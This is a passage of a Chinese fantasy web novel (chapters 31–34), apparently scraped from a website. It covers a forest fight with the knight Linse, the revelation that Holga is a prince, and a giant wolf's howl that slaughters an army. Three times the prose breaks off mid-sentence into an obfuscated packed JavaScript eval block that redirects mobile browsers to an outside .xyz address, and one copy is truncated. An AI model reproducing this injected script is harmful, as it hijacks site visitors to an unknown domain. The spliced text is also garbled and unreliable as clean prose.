面前受伤的人疼得冷汗淋漓,身体还在止不住地发抖,眼中却没流露出任何恐惧,面容平静到冷淡,甚至算得上有些漠然,像是拿准了他不会杀人。 可男人自己都无法完全确定自己的下一步行动。 所以更像是,这个人压根不怕死,因而毫不在乎。 对付这样的人,用死亡来威胁恐怕作用不大。 男人按下拔剑的冲动,坚持道:“给我想要的答案。” 宋云州合了剑鞘,注视着男人:“你什么都不跟我透露,我怎么知道你想要的答案是‘他还活着’,还是‘他已经死了’呢?” 男人不动声色:“如实说就好。” 宋云州已在瞬息间捕捉到男人在他说出“死了”这两字时,倏然颤动又被强行遏止的手指。 宋云州讨价还价:“告诉你我能得到什么好处?” 男人反问:“活着不算好处吗?” “这个条件对我而言,并没有什么诱惑力。”宋云州摇了摇头,“你所作出的承诺只是不杀我而已,可我现在这样,被独自丢在林子里也只有死路一条,既然结果都是一样,为什么一定要回答你的问题?” 男人做出让步:“我会带你离开,找人治好你。” 宋云州却说:“可我不想跟你走。” 事已至此,就没什么可再说的了。 从一开始,宋云州就只希望烈金斯能带着布瑞德跑远一些,再远一些。 而这,并不会建立在出卖霍尔加的基础上。 男人面色阴沉,抬脚向宋云州走来,手掌搭上了腰侧的剑柄。 宋云州静静地望着男人靠近,同时攥紧了手中的剑。 二人如同乍遇的猛□□锋,暗露爪牙,相互试探,不过胜败在最初就已分晓。 就在这时,男人身后的林中突然传来了另一阵响动,剑拔弩张的情势急转直下。 爽朗的嗓音由远及近,光明而磊落:“好久不见啊,蒙德。没想到再次见面,你仍是在虐杀手无寸铁的无辜之人,真是一点儿长进也没有。” 宋云州心头一动,惊喜望去,心里一下子有了底。 并不算太过熟悉的人大步走出阴影,拉至满月的弓箭直指男人的头颅。 ——是霍尔加! 男人骤然听到霍尔加的声音,背脊一僵,却没有第一时间回过头去。 他定在原地,不知道为什么,下意识压低了声音,如孩童般认真反驳道:“……他手中分明有剑。” “那剑是我的。”霍尔加坦然承认,举着弓箭警惕地自男人背后缓缓绕至斜侧,站到宋云州身边。 霍尔加偏头,迅速扫视宋云州一眼,旋即将注意力放回敌人身上,轻声对宋云州说:“你……” 霍尔加正欲询问宋云州的伤情,话音却戛然而止,落入视线的景象令他没出口的话全哽在了喉咙里。 角度转换,距离拉近,黑甲男人的面容清晰映入霍尔加的双眼。 与这副盔甲相配的,并非霍尔加记忆中的那副狰狞尊容,而是一张更年轻冷峻的脸。 霍尔加握持弓箭的手下意识松懈,箭尖指地,皱眉惊问道:“林塞?!怎么是你?!” 宋云州没想到事态会如此发展,见霍尔加的模样,莫非他和这林塞关系还不错? 宋云州抱着疑问看向林塞。 林塞已然平复震惊,直视着霍尔加的双眼,他浅淡灰眸中的淡漠一散而空,取而代之的,是眸中奇异的情绪涌动不休,好似即将溺毙之人陡然触及堤岸,又像极了隐匿盘踞的凶兽终于锁定了猎物。 林塞的声音带着不易察觉的轻颤:“你还活着,真好。” 宋云州眨眨眼睛,刚升起这一箭可能白挨了的念头。 谁知话音刚落,林塞迅速拔剑冲来,银光直朝霍尔加的咽喉刺下。 “等一下!”霍尔加叫停无果,急忙翻转手腕,用弓身挑开剑锋,向旁侧闪避。 林塞紧随而上,剑光含着狠意:“我还以为我不再有机会亲手斩杀叛徒。” 霍尔加以箭作剑,与林塞交手,铁剑锋锐,木质箭杆触之即断,几息间霍尔加的箭囊就空了大半。 箭头四散飞落,宋云州挣扎站起身,远离他们,以免遭到误伤。 宋云州想找机会递剑给霍尔加,却发现霍尔加腰间明明别着一柄小臂长的短剑,可他没有使用。 此时的林塞与阻拦宋云州时简直判若两人,剑招挥击速度之快甚至叫人难以清晰分辨,霍尔加与他势均力敌,仅是灵活躲避也丝毫不落下风。 “你先停一下!”霍尔加觑准时机,以退为进,弓弦勒上林塞手腕,弓身别住长剑,止住了林塞的动作。 霍尔加和林塞肩背相抵,僵持较劲。 霍尔加侧头望向林塞侧脸,急切询问道:“到底发生了什么?是他们逼你的吗?” 林塞语调冰冷:“我奉命缉拿叛徒,带回王城。” 霍尔加将持弓的力道尽量放在右手上,腾出左手,试图徒手去拖拽林塞的盔甲:“你快把它脱下来!” “众人都想捉你审问,但我想带走的——”林塞同样侧头盯着霍尔加,咬牙切齿,“只有你的头颅。” 说着,林塞猛然发力,剑锋上挑,束缚他的弓弦旋即崩断,弓身亦被绞碎成数截炸开。 林塞不留任何喘息余地,当即挥剑斩向霍尔加,霍尔加还保持着伸手拽他的姿势,堪堪躲避,险些被削掉整只手掌。 宋云州提心吊胆地在不远处观战,不敢出一点儿声音使霍尔加分心,随着两人艰难移动位置。 霍尔加虽在剑光月影之前连连后退,却游刃有余,不显半分颓势。 适逢霍尔加退至一棵树前,林塞再次刺来,正中霍尔加下怀。 眼看剑至面前,霍尔加矮身一躲,撤步移向旁侧,林塞长剑来不及调整方向,径直刺穿粗壮树干,入木极深。 剑身卡住一瞬,霍尔加本想抓此机会逼林塞放弃兵刃,不料林塞动作不停,硬是横向一挥,削铁如泥的宝剑横劈树干。 木屑激扬间,轰隆一声,两人环抱的大树被拦腰斩断,应声而倒。 剑光一刻不停地直取霍尔加的喉咙,杀意毕现,霍尔加手中最后一支箭在格挡中断裂,他却仍没有拔剑对抗的意思。 宋云州情急之下抓起地上散落的面包和绳索,一股脑地朝林塞掷去,试图为霍尔加争取一丝喘息之机。 林塞下意识旋身斩断飞来的物什,暂时放下与霍尔加的缠斗。 霍尔加觑机甩了甩被铁剑震麻的虎口,他似是这时才想起宋云州还在一旁,连忙从怀里掏出什么东西,隔空扔给宋云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142459|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 州,大声道:“往我的来处跑!” 两人离得着实不近,中间还隔了个林塞,那东西看起来又轻飘飘的,宋云州不禁暗暗叫苦,这他怎么可能接得到。 宋云州努力探身扬手,谁知霍尔加抛出的东西并未遵循抛物线的弧度,而是飞出了一条另外的轨迹。 宋云州心念一动,恰逢那物穿行月色,熟悉的褐色纸片扑进了宋云州怀里。 就在下一瞬,穿透腿骨的箭湮灭成齑粉,宋云州的伤口愈合如初。 宋云州自知在这里帮不上忙,毫不迟疑地带着霍尔加的剑和小菠拔腿跑向无光的暗处。 霍尔加不再恋战,终于转守为攻,持未出鞘的短剑将林塞逼退数步。 霍尔加最后看了林塞一眼,利落转头向宋云州追去。 林塞望进霍尔加的眼神,动作倏然停顿了一下,回过神时已错失了拦下霍尔加的时机。 宋云州在小菠的指引下左转右拐,一味机械地摆动双腿,数次险些因暗处盘踞的树木根系绊倒,都被小菠的力量扶住了。 霍尔加更擅长在黑暗中奔袭,如履平地般迅捷赶上来,拉着宋云州的手臂带他一路狂奔:“这边。” 身后林塞的脚步声愈发接近,仅是这样逃跑绝无可能将他甩掉,宋云州努力调匀呼吸,想跟霍尔加商量对策。 还没来得及出声,他们途经的一棵树上突然出现异动。 一道火红身影自繁茂树冠一跃而下,轻盈敏捷就地一滚,起身时利箭已在弦上。 宋云州匆匆一瞥,兰缇娅置身暗处,箭尖闪烁寒芒,一袭红裙恣意利落,臂环上镶嵌的宝石宛如流火一抹,惑人眼眸。 霍尔加脚步不停,带宋云州奔过那人身侧,飞快嘱咐道:“别伤他!” 话音未落,箭已将将离弦,兰缇娅轻“啧”一声,手腕及时微微上挑。 林塞预先判定了箭的走向,躲也不躲,箭矢擦着他的头侧飞过,射向后方树木。 兰缇娅随即两箭连发,均灵巧避过林塞射向两侧,洞穿两棵大树。 林塞毫不在意射偏的箭,径直冲来,就在他距兰缇娅十步之遥的时候,一声枝干断裂的巨响骤然自他后侧的黑暗中发出。 巨响后便是接连不断的窸窸窣窣和枝叶摧折声,声势愈演愈烈,随之一道巨大的黑影朝林塞兜头砸下。 林塞紧急避向一侧,谁知这时又有两声巨响从旁侧传来,兰缇娅射中的另外两棵树也拦腰折断,呈交错之势朝林塞压下。 林塞不得已调转方向,往远处逃开。 霍尔加和宋云州在稍远处驻足,亲眼见证三四人合抱的参天古木竟因一箭之威轰然倒落,繁茂横生的枝叶连带砸倒了旁侧几棵稍矮的树,轰隆噪响连成一片。 宋云州看得目瞪口呆,他完全可以想象到小菠所说的一箭射穿熊脑,究竟是怎样的情形了。 霍尔加隐约眺望银白剑锋远去,松了口气。 落叶漫天纷飞,鸟雀惊鸣乍起,倒落交叠的树木构成数米高的天然屏障,阻挡了林塞的去路。 飘飞的树叶缓慢落下,深林中安静下来,宋云州三人已趁机跑得远了。 林塞没有再追。 眼前纷乱倒错的枝干并非难以逾越,但林塞只是默然静立,透过枝叶望着根本看不清的远处出神。 良久回过神来,林塞背身倚靠在一截断木上,闭了闭眼,感受胸膛中急促跳动的心脏。 那个人还活着…… 林塞左手牢牢扼住战栗不止的右手手腕,轻颤的剑光划开月色,掩去兀自难平的心绪。 32. 隐藏身份 “我们这样甩得掉他吗?”宋云州喘息着,回头望向来路。 此时晨光刚刚破晓,草叶缀满露水,林间漫起一层浅淡的雾气,视野中的一切都变得影影绰绰。 “不太可能,”兰缇娅把弓背到身上,看了霍尔加一眼,“何必要我留手,反正……” “他不会再追了。”霍尔加收回和宋云州一起回望的视线,打断了兰缇娅的话。 霍尔加语气肯定,显然有十足的自信,宋云州不解,但没有深究,眼下还有更为要紧的事。 宋云州说:“烈金斯带着狼群去向不明,布瑞德也和它们在一起,我们得赶紧找到他。” 堵截他们的只有林塞一人,军队部署在哪里尚不可知,万一烈金斯再次遭遇军队,情况将极度凶险。 兰缇娅和霍尔加在来之前已得知小菠回报的种种消息,早有准备。 “纳卡诺给了办法,小菠能带我们过去。”兰缇娅招了招手,小菠从宋云州怀里飞出,悬停在三人面前。 宋云州发现小章鱼的两条触手间多了一团纯黑色的火焰,纸张上的火焰同样是平面的,却和真实的火焰一样在不停地燃烧跃动。 小菠像举圣火般郑重其事地举着它。 宋云州奇怪道:“这是什么?” “纳卡诺的一小股法力。他与烈金斯的力量同源,可以凭这股力量追踪到烈金斯的去向。”霍尔加解释后示意小菠,“找到了吗?” 小菠举着火焰的触手左右移动探查,同时用一条触手摩挲着自己并不存在的下巴,皱着眉头做出一副苦思冥想的表情。 片刻后,路线图和一行字同时在纸上浮现出来。 小菠主动提议道:【距离还挺远的,要不我用魔法直接送你们过去?】 “不用。”兰缇娅想也没想就一口回绝,扫了眼路线记下,当先带路。 小菠噘噘嘴,失落地一头扎回宋云州怀里。 霍尔加向宋云州解释,小菠的转移魔法存在漏洞,无法预知他们抵达处的状况如何,以防被魔法直接送进军队的包围圈里,还是自己赶过去更稳妥些。 三人尽力以最快的速度穿林翻山,在上午将尽时遭遇了第一波追击烈金斯的士兵。 几队士兵在谷地扎营休整,霍尔加远远察觉到营地中升起的炊烟,带兰缇娅和宋云州从后方悄悄绕了过去。 随后一路上他们发现多处营地,其中活动的全都是宋云州在悬铃森林中见到的银铠士兵。 奇怪的是营地中的气氛不见任何紧张,哪怕中午已过也没有要拔营推进的迹象。 小菠自觉用红色叉叉在路线图上标记出沿途每一处营地的位置,最后画的这一个叉后面多跟了一个大大的感叹号。 小菠振奋道:【这里就是坏蛋头目的大本营!】 褐色纸兀自在低处激动地抖来抖去,却没人有闲暇分神回应它。 宋云州三人趴伏在土丘后,拨开灌木聚精会神地窥探下方。 近水的营地军帐林立,绝大部分都是他们一路行来所见的银白帐篷,而这回,另有一座硕大的黑色帐篷位于营地核心。 黑色帐篷上嵌着一枚硕大的白色徽纹,规格比普通士兵的营帐高出不少,四周还有士兵站岗守卫。 小菠探出的烈金斯所在并不是这里,宋云州三人原本想直接绕过去,没想到恰巧赶上有人从黑色帐篷中走了出来,与麾下的侍卫交谈,三人不约而同地停下脚步多看了几眼。 由于距离较远,宋云州听不见营地中的话语声,只能勉强分辨出那是一个身着银白软甲的女人。 兰缇娅凑近霍尔加,低声问道:“认识吗?” 霍尔加凝神盯着那人看了又看,脑海中并没有印象,他缓缓摇了下头:“我没见过她。” 霍尔加想到什么,眉头微皱:“这些兵是帕卢要塞的驻军,要塞统领路维向来锱铢必较。王军征讨悬铃森林数次,皆是无功而返,依路维的性子绝不会答应来干这种费力不讨好的事。” 事出反常,霍尔加疑心有诈,兰缇娅懒得细想里面的弯弯绕绕,直白建议:“想知道的话,我们把她抓来问问不就好了?只要制造一点骚乱……” 霍尔加连忙按住兰缇娅取弓的手:“他们暂时构不成威胁,还是不要轻易动手,先找到烈金斯再说。” 三人悄悄退出灌木,无声往另一条路行去。 他们刚一离开,营地中的女人吩咐好下属,准备回帐时似有所感,抬头朝高处空荡荡的土丘瞥了一眼。 * 人迹罕至的密林深处,狼群趴卧着稍作休息,它们灰黑的皮毛与周遭昏暗的树影和裸露的岩石完美融合,几乎称得上完美的隐藏伪装—— 如果没有一只持续不断发出刺耳噪音的背包在它们身边的话。 “嗷——嗷——” 熟悉的味道近乎消失了,布瑞德极度不安,焦虑地用叫声宣告自己的位置,试图找回失散的宋云州。 布瑞德叫了许久,没得到任何回应,声音都变得嘶哑低沉,却仍在努力坚持着。 它按捺不住地顾涌来顾涌去,想就这样顶着染血的布料逃跑。 这当然行不通,黑狼卧在地上,前爪牢牢摁住背包的一角,任小鼓包在黑暗中盲目地左冲右突。 黑莓原本和烈金斯待在一起,现下正拼命把脑袋往黑狼厚实的毛毛里埋,也完全抵挡不住贯耳的魔音。 布瑞德的叫声又尖又利,如同两块锐利的金属使劲相互摩擦,蝙蝠的听力本就异常敏锐,近距离接触噪音源,黑莓觉得自己的小脑瓜都要炸开了。 黑莓崩溃哀嚎:“烈金斯大人,我们为什么不把这个家伙扔掉啊?!” 狼群跑了一路,这臭虎崽就叫了一路,再这样下去,不等它把追兵招来,就要先被它吵死了。 “来就来,难道还怕那些混蛋不成?”烈金斯无所谓地抬起一只前爪揉了揉耳朵,瞥了眼背包冷笑道,“就该让这小子吃点苦头。” 黑莓欲哭无泪,非常想劝烈金斯清醒一点,这哪里是在欺负别人—— 分明是在自虐啊! 黑莓生无可恋地用脑袋一下下撞击黑狼的后脖颈,忽然察觉到黑狼的皮肉骤然紧绷,它疑惑抬头,发现狼群纷纷转动耳朵,偏头看往同一个方向。 黑莓心中警铃大震,飞速扑腾到烈金斯身边,急道:“他们这么快就追过来了?!现在怎么办?” 烈金斯不甚在意地扫了一眼声音来处,朝黑莓晃了晃脑袋:“你再仔细听听。” 黑莓这才意识到狼群除了转头之外,没再做出其他动作。 与此同时,随着一道话音响起,一个熟悉的身影拨开丛生的藤条蔓叶走了出来。 “不愧是四条腿的,你们还挺能跑。” 黑莓一眼看见宋云州的脸,放松下来的同时连呼吸都变得顺畅了,根本没心思管宋云州怎么能追过来,当即抻直翅膀尖给救星指路:“这儿!在这儿!快把它带走!” 刚才那句话分明是女人的声音,烈金斯立刻听出是谁,他盯着跟在宋云州身后的二人,略略扫了霍尔加一眼,皱眉对兰缇娅说:“你怎么来了?” 烈金斯语气不善,兰缇娅同样冷声道:“都被人撵成这样了,还不老实?” 烈金斯冷哼一声:“赶紧带着你的人滚回神殿,少在这里碍眼,悬铃森林的事还轮不到你们插手。” 霍尔加显然是第一次见到狼崽形态的烈金斯,不住地好奇打量他。 宋云州打老远就听到了布瑞德的叫声,带领另两人快步赶了过来,此时再见装着布瑞德的背包,更是三步并作两步冲来将它抱起。 说来也怪,明明虎崽的叫声回荡在林子里并没什么特别之处,可宋云州就是能一下子确认那是布瑞德的声音。 布瑞德骤然看见宋云州出现,顷刻爆发出更大声的撒娇控诉,它前爪上攀,后腿发力,蹬掉碍事的背包,顺利钻进宋云州怀里。 在重新感受到宋云州的体温后,布瑞德的嗓音顿时缩小,变成轻哼与唔噜,委屈得一个劲儿地往宋云州脖颈里扎,连尾巴都要紧贴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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烈金斯猜到菠萝会和兰缇娅说什么,目视前方,冷声嘲讽道:“现在才想跑?晚了。” 宋云州和霍尔加不会魔法,尚不知道发生了什么,对烈金斯的话摸不着头脑,刚要询问兰缇娅,就被林中一阵异样的黑色强光打断。 强光暴涨,逼得众人不得不闭上双眼,视觉被剥夺,甲胄碰撞声和战马嘶鸣声,一时间纷杂触动听觉。 强光很快消去,众人再次睁眼便愕然看到,明明还应在营地中休整的士兵赫然尽数整装,凭空出现在他们面前,明晃晃的兵刃自四面八方指来,阻绝了所有退路。 霍尔加拔剑挡在宋云州身前,快速扫视围堵的士兵,没看到林塞的身影。 如此大的阵仗出现在眼前,之前却没有窥见一丝端倪,宋云州下意识抱紧布瑞德,疑惑道:“他们是怎么追踪到这里的?” 兰缇娅面上波澜不惊,像是完全感受不到士兵们带来的压力,还有心情调侃烈金斯道:“看来某人没有把尾巴处理干净啊。” 烈金斯梗着脖子不理她。 黑莓冒头出来瞄了一眼,被剑刃寒光闪了眼睛,立刻往黑狼的长毛里又缩了缩。 小菠抖抖纸页,引来兰缇娅的注意力,再次提出逃跑建议,兰缇娅不置可否,只注视着军阵最前方。 军队并未即刻发动进攻,静默列阵对峙,似在等待下一步的指令,片刻后马蹄踏地声在军阵后侧响起,由远及近,队列有序开合,容统领越众而出。 领兵的正是穿银白软甲的女人。 女人倨傲端坐在马背上,胜券在握地扫视被围困的几人和狼群,正要得意开口,不料视线恰好落到一人脸上,神情顿时一怔,已到嘴边的话哽在喉间。 女人的异常反应十分明显,宋云州顺着她的目光看了身前的霍尔加一眼。 女人心念电转,很快了然,惊讶神色旋即转为一种畅快的振奋,甚至轻笑出声:“没想到竟然还有意外收获,怪不得到处都搜捕不到你,原来是跑来和逆党搅在了一起。” “快看看我们找到了谁?”女人娇妍的眉眼愈加飞扬,侧首对身后的士兵们说,“还不快见过霍尔加殿下。” 这些士兵虽没见过霍尔加的脸,但显然这个名字如雷贯耳,在“霍尔加”三个字出口之后,军阵中泛起一阵不小的骚动。 一众士兵面面相觑,有人惊疑不定地小声嘀咕道:“二……二王子?!” 33. 血色一怒 二王子? 这个称呼对宋云州而言实在陌生,他慢了一拍才意识到这几个字所代表的含义。 霍尔加的身份被骤然点破,面对四面八方令人不适的目光与低语,他像是本就没想藏着掖着,脊背依旧笔挺,坦然以应。 不止是霍尔加,兰缇娅和烈金斯也都波澜不惊,看起来他们早已知道这事。 女人扬了下手,队列中的士兵即刻收声正色。 霍尔加平静开口道:“你在帕卢要塞任何职?我应该从未见过你。” “真是失礼,匆忙间竟忘了自我介绍。”女人恍然,略带歉意道,“臣下卡米拉·伯比奇,现任帕卢要塞统领,之前的确不曾一睹殿下真容,不过是有幸得见画像而已。” 卡米拉惺惺作态的话语毕恭毕敬,人却一直坐在马上没下来,以俯视的姿态注视霍尔加。 “四处躲藏的滋味二殿下想必不会喜欢,现在正好,将功抵过的机会就摆在殿下面前。”卡米拉冲霍尔加笑了笑,设身处地地劝道,“助我们杀掉那只狼,说不定顺了陛下的心意,殿下还有可能求他宽恕你的罪过。” 霍尔加不应,疑道:“路维呢?” 卡米拉回答:“荒郊消息闭塞,二殿下不知也属常情,前任统领办事不力,已于三个月前被撤职了。” 霍尔加眉心微皱,陷入思索,没再说话。 卡米拉等待几息,霍尔加仍未表态,她倒是暗自放下心来。 霍尔加的反应在卡米拉意料之中,她本也没打算真说服霍尔加归降,因为那样反倒没了把他和狼群一起处理掉的借口。 “既然殿下决意顽抗,那我也只好不讲情面了。”卡米拉笑容顿敛,右手在身侧一扬,厉声道,“挣扎无益,即刻束手就擒。” 随着卡米拉的动作,方才的大型转移法阵再次显形,只是这一次阵中不再是刺目的强光,而是有大片黑雾蒸腾而出,变作无数长蛇迅猛扑向霍尔加和狼群。 兰缇娅适时喊道:“小菠!” 小菠应声而动,瞅准时机,伸长触手蓄力,将一直托举的黑色焰团丢了出去。 黑色火焰脱出纸面,化为实体,狠狠砸向烈金斯的毛脑壳。 烈金斯耳廓微动,准确捕捉到火焰的来向,偏头一口叼住漆黑焰团,上下齿关一错,将火焰用力咬碎。 火焰随即散作数道黑雾,如藤蔓般迅速攀附烈金斯的每一寸身躯,将他完全笼罩。 兰缇娅提醒道:“这股力量纳卡诺自愿让渡给你,不可以用它杀人。” 话音甫落,裹缠烈金斯的黑雾呈放射状崩散,如飞矛激射,恰与合围噬咬而来的长蛇相撞,爆开震耳轰鸣。 两股力量彼此抵消,飞矛与长蛇俱形毁神消,黑雾漫散开来,裸露在外的皮肤略微触及便有强烈的烧灼之感。 失去魔力支撑的黑雾盘桓片刻,忽而像受到强力驱逐般瞬间湮灭,取而代之的,是一片如星如月的辉光蓦然洒进所有人眼底。 矮小狼崽原本站立的位置上,此时出现在众人眼前的已变回了那匹身披星芒的银白巨狼。 即使是在骄阳正盛的午后,烈金斯周身的清辉不折分毫,甚至比日光更为明熠。 烈金斯仅是沉默地上前三步,围拢待命的骑兵马匹就察觉到了巨大威胁,全部惊恐嘶鸣着瑟缩后退,任凭士兵如何安抚或镇压都无济于事,整齐划一的军阵顷刻间就被扰乱。 唯有卡米拉胯|下的黑马顶住了烈金斯的威压,虽后退了一步,但只是焦躁地甩了甩头颅,一声不吭。 烈金斯的身形几乎与骑着马的卡米拉一样高,他冰蓝色的双眼不含任何情绪,沉声作出最后警告:“现在滚,还来得及。” 卡米拉惊讶于巨狼的恢复,却丝毫不惧。 她抚了抚马鬃,底气十足地回敬:“胜负还未落定。” 话音未落,卡米拉再次挥手,法阵腾出的黑雾凝聚为一条三人高的巨蟒,亮出毒牙与信子,阴冷的嘶嘶声带着猎食的预兆,直钻进每个人的骨髓。 巨蟒在众人上方游走一周,一双血色眼珠锁定烈金斯,躬身甩尾,张开血盆大口携风雷之势咬向烈金斯! “烈金斯大人小心!”黑莓焦虑地揪住黑狼的一撮毛,担忧大喊。 烈金斯敏捷一跃避开,巨蟒尖牙撞上烈金斯原先所在的岩石,蛮力直接将其撞得碎成石粉。 巨蟒毫无损伤,昂首继续进攻,它的每一击都迅猛又威势惊人,动辄就击碎石块或撞倒树木,巨响迭起,逼得所有人不得不退避,为它让出战场。 烈金斯似乎拿它没有办法,不用魔法回击,只是一味奔来跑去地四处躲闪。 霍尔加看得心焦,这就要提剑上前帮忙,被兰缇娅拦下:“他应付得来。” 巨蟒看似一直掌握主动权,追得烈金斯无路可逃,可仔细分辨形势便会发现,烈金斯的动作要更加灵敏,巨蟒的数十次进攻压根没伤到他,反而是他在引导这场追逃。 等待多时的机会终于到来,当巨蟒又一次试图将毒牙刺进烈金斯脖颈时,烈金斯出人意料没再躲避,它旋身面朝巨蟒,银白魔力骤然闪现,横斩巨蟒的七寸。 变故就在这一刻陡生,烈金斯紧接着再出一招,另有一束白光袭向卡米拉。 烈金斯对巨蟒的攻击只是幌子,卡米拉才是他唯一的目标。 ——施术者受袭,凭借其力量运转的拟态魔法自然消解。 烈金斯早已在躲避中估算好了位置与距离,就等敌方完全掉以轻心的那一刻。 尚处于攻击状态的巨蟒果不其然随着卡米拉的一声痛呼而湮灭。 “不堪一击。”烈金斯不屑地抖了抖毛毛。 烈金斯轻巧优雅地越过一截断木,正要回到狼群身边,突然听兰缇娅大声喊道:“烈金斯快住手!” 烈金斯疑惑地瞥了兰缇娅一眼,不知道她在发什么疯,谁知顺着兰缇娅的目光看去,他自己也是一怔。 只见卡米拉以一种诡异的姿势被从马背上吊起,整个人悬在半空中,双手死死抠在颈间,正在痛苦地挣动。 烈金斯紧盯着缠绕在卡米拉脖颈间的白色雾气,冰蓝色眼眸掠过一瞬的困惑,他立刻尝试撤开这道魔力,不料这雾气竟完全不受他的控制。 卡米拉不复最初的镇定,脸上写满惊恐,她的喉间被扼紧,已经发不出任何声音,只能勉强做出求救的口型。 烈金斯顿了一下,否认道:“不是我。” 就在烈金斯说话时,白色雾气竟开始汲取卡米拉的生命力,根本来不及阻止,所有人只能眼睁睁看着卡米拉白皙细嫩的皮肤迅速焦黄塌陷,四肢干瘪萎缩。 转眼间卡米拉就被吸成了一具干尸。 在场的所有人都因这突然的变故回不过神来,静默间,缠住卡米拉脖子的白雾猛然变成一条黑蛇弹向烈金斯。 烈金斯下意识反击,银白魔力轻而易举地粉碎黑蛇,正撞上自半空下坠的尸骸,酥脆的枯骨甫一遭魔力触及便崩裂飞散。 枯骨碎响惊醒了因震骇而失声的士兵们,不知是谁先开的口,不同的声音交错惊响,所说的内容却出奇的一致—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142461|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “统领……统领死了……” “他们杀了统领!” “是那只白狼!白狼杀了统领!” “……撤!快撤!” 卡米拉身死,无人再操控法阵,士兵们纷纷调转马头,开始往反方向逃离。 兰缇娅怔然看着眼前一幕,似是被勾起了某些回忆,神色少见的变得有些慌乱无措,她的眼睫颤动了一下,回过神的第一件事就是连忙转身安抚烈金斯。 兰缇娅努力将自己的声音放得轻缓:“烈金斯你先冷静……” 她的话被烈金斯忽而开始的低笑声打断了。 烈金斯微垂着头,闭着眼,仿佛突然想到了什么开心的事,笑声逐渐加大,笑得连身上的皮毛都在发颤。 烈金斯的笑声近乎癫狂,听者无不心底发毛,他闭合的双目倏然睁开,冰蓝的眸光蕴着血色,迸射出无边的狠戾恨意,声音卡在喉中,像是含着一口血:“这么多年,还是只会这一套吗?!” 烈金斯紧盯着士兵们逃离的背影,一字一句地说完,随即引颈长啸。 尖利的狼嗥伴着魔力潮炸开,直穿闻者脑髓,霍尔加和兰缇娅即刻捂住耳朵。 宋云州觉得整个头颅都被声浪震荡得嗡嗡作响,他将布瑞德按进怀里,手心紧紧捂住了它软绵绵的耳朵。 小菠试图用魔法为它和宋云州三人建立一道防护屏障,结果却被烈金斯强劲的魔力撞了个跟头。 小菠的魔力被压制无法使出,只能用所有触手把自己裹成了一个球球,在纸页上崩溃地滚来滚去。 唯有黑莓和狼群没受任何影响,黑莓还在黑狼背上,仰头默默注视着烈金斯,狼群则在烈金斯身边随他一同长嗥不休。 烈金斯放任自己的魔力横冲直撞,不加任何收敛,在他身边的三人已经算是轻微反应,那些溃逃的士兵就没有这样好的运气了。 在魔音席卷之下,军马最先经受不住,纷纷口中涌出血沫倒地暴毙,抑或受惊发狂撞树而亡。 声浪如海啸翻涌,铺天盖地朝士兵们压下,他们痛苦嘶吼着,只觉五脏六腑都要被狼嗥击碎,捂住耳朵也无法得到分毫缓解。 士兵们奋力支撑起身体往远处跑,希冀距离拉远可以削弱烈金斯的力量,可汩汩的血液很快就从他们的七窍中流出,越来越多的士兵倒地不起,再难移动分毫。 “不、不要杀他们!” 霍尔加看着远处士兵们的惨状,心中不忍,他缓了一口气,松开捂耳的双手,挥剑劈向烈金斯。 霍尔加无意伤到烈金斯,只是想以此阻止他,怎料还没靠近烈金斯,就被烈金斯身周缭绕的狂暴魔力猛力抵开了十几米的距离。 霍尔加勉强以剑拄地稳住身形,却单膝跪地站不起来,肺腑间气息震荡翻涌,鲜血不受控地从口中溢了出来。 烈金斯的魔力暴涨到巅峰,随着他换气后的最后一声高昂怒嗥,尖锐的声浪如锋刃洞穿了烈金斯面前的一切。 疾风凛冽,成片林木被切割成木块碎屑,倒伏的人体爆开重重血雾,猩红遍染青绿。 数千士兵无一生还。 眼前景象实在过于惨烈,宋云州闭上眼睛,背过了身,因而他没能察觉到—— 当最后一声狼嗥乍响的那瞬,一直把脑袋埋在他怀里的布瑞德突然抬起了头。 布瑞德眨巴了两下眼睛,奇怪地打量着宋云州的侧脸,好似第一次见到这个人一般。 如果宋云州在此时恰好与布瑞德对视,就会发现布瑞德的眼神并非猛兽幼崽的懵懂,而是类人的困惑。 34. 弑君旧刃 魔力狂潮惊掠而过,来势汹汹,去势也迅疾无匹,荡开散去,数息后便只留下血染的土地和成片的破碎树根。 狼嗥声止,一道与悬铃森林崖底相同的魔法屏障展开,烈金斯头也不回地跃入破碎镜面中,扬长而去,狼群和黑莓紧跟着他离开了。 宋云州睁眼后的第一件事就是确认布瑞德平安无事,他松开捂住布瑞德耳朵的手,将暖呼呼的虎崽抱得更紧了些。 布瑞德眨动琥珀色的圆眼,仰头蹭了蹭宋云州的下巴,它依旧只是一只普通的老虎幼崽,刚刚幻觉般的奇异眼神早已找不到任何踪迹。 局势已然无可挽回,兰缇娅望着一地狼藉,无奈地叹了口气,此时说什么都不再有意义。 “它真的没事了?” 兰缇娅尽管从小菠那里得知布瑞德已被治愈,还是亲口向宋云州再次确认了一下,不出意外得到了肯定答复。 既然来此的任务都完成了,是时候该返回神殿,兰缇娅叫来小菠,准备用魔法回程,却发现霍尔加背对他们,怔怔地站在远处。 霍尔加眸光黯然,沉默注视着脚前一滩模糊血肉,他垂着手臂,长剑尖端抵在血泊中。 